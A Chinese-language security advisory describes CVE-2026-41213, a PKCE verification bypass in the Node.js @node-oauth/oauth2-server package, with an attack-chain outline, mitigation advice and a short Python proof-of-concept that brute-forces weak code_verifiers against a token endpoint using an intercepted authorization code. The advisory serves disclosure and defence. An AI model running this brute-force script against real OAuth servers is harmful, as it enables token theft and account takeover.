IPBUF安全漏洞报告
English
CVE-2026-41213 CVSS 5.9 中危

CVE-2026-41213: node-oauth2-server PKCE验证绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41213
漏洞类型
逻辑漏洞
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@node-oauth/oauth2-server

相关标签

OAuth2PKCE逻辑漏洞暴力破解Node.js

漏洞概述

@node-oauth/oauth2-server模块在实现OAuth2服务器的S256 PKCE流程时存在安全缺陷。系统错误地接受不符合RFC7636标准的短code_verifier值,且验证失败不会消耗授权码。攻击者可利用此漏洞,在拦截到授权码后,通过暴力破解方式猜测code_verifier,最终成功获取令牌,造成严重的信息泄露风险。

技术细节

该漏洞源于@node-oauth/oauth2-server在处理OAuth2 PKCE(Proof Key for Code Exchange)扩展机制时的逻辑缺陷。PKCE旨在防止授权码拦截攻击,要求客户端提交高熵的code_verifier。根据RFC7636规范,S256模式下的code_verifier应具备足够的长度和随机性。然而,受影响版本未对code_verifier的强度进行有效校验,允许提交单字符等极弱字符串。更为关键的是,该模块在code_verifier验证失败时,未按照安全惯例使授权码失效,导致授权码可被重复使用。攻击者利用网络攻击手段截获授权码后,可利用该漏洞发起在线暴力破解攻击。由于攻击无需认证(PR:N)且无用户交互(UI:N),攻击者可自动化遍历简短的字符空间。一旦猜中正确的code_verifier,服务器将签发访问令牌,导致用户权限被完全窃取(C:H),严重破坏了OAuth2授权流程的安全性。

攻击链分析

STEP 1
步骤1: 信息收集与拦截
攻击者通过网络嗅探、中间人攻击或其他方式,拦截受害者的OAuth2授权流程中的授权码。
STEP 2
步骤2: 暴力破解攻击
攻击者利用漏洞,使用短字符串或弱随机值作为code_verifier,向令牌端点发送大量的令牌交换请求。由于验证失败不会消耗授权码,攻击者可以进行无限制的尝试。
STEP 3
步骤3: 获取令牌
一旦服务器接受了某个弱code_verifier并返回200状态码,攻击者即成功获取了有效的访问令牌,从而接管了用户身份和权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def brute_force_pkce(target_url, auth_code, client_id, redirect_uri): # Since the vulnerability accepts short verifiers, we try a list of weak candidates. # In a real scenario, this list could be expanded or sequential. weak_verifiers = ['a', '1', '123', 'test', 'code', 'admin', 'xyz'] for verifier in weak_verifiers: payload = { 'grant_type': 'authorization_code', 'code': auth_code, 'code_verifier': verifier, 'redirect_uri': redirect_uri, 'client_id': client_id } try: response = requests.post(target_url, data=payload) if response.status_code == 200: json_resp = response.json() if 'access_token' in json_resp: return f"[+] Success! Verifier: {verifier}, Token: {json_resp['access_token']}" except Exception as e: print(f"Error: {e}") return "[-] Failed to brute force the code verifier." # Example usage # target = "https://example.com/oauth/token" # code = "intercepted_authorization_code" # print(brute_force_pkce(target, code, "public_client", "https://example.com/callback"))

影响范围

未在提供信息中明确列出

防御指南

临时缓解措施
在未升级修复前,建议监控异常的令牌交换请求模式,特别是针对同一授权码的多次尝试。可以考虑在网络层实施速率限制策略,尽管由于授权码不失效,该措施效果有限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表